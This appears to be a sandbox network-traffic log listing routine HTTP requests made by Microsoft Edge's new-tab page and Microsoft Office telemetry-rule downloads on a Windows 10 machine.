Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3ECA3735FCB561D93BD4220FFDE260F3&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=740a2e1e00d04cb9c4936e20101f0acf HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=3ECA3735FCB561D93BD4220FFDE260F3; _EDGE_S=F=1&SID=0420689AAE7B65F7096F7DA0AF4C6478; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msySs.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1u24yb.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1731883003604&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3ECA3735FCB561D93BD4220FFDE260F3&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=112b150933bd6e14c411e281731878452; XID=112b150933bd6e14c411e281731878452
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=3ECA3735FCB561D93BD4220FFDE260F3&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=298a7ae2115a40ba80e4a0c1f37b65f2 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3ECA3735FCB561D93BD4220FFDE260F3; _EDGE_S=F=1&SID=0420689AAE7B65F7096F7DA0AF4C6478; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731883003604&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7abd790206004287940ae14bdbdee503&activityId=7abd790206004287940ae14bdbdee503&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=6D9BB5B0E0484127B1A6FB7C14D22FA1&MUID=3ECA3735FCB561D93BD4220FFDE260F3 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3ECA3735FCB561D93BD4220FFDE260F3; _EDGE_S=F=1&SID=0420689AAE7B65F7096F7DA0AF4C6478; _EDGE_V=1; SM=T; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA11MSkH.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZ9.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA12sf7A.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
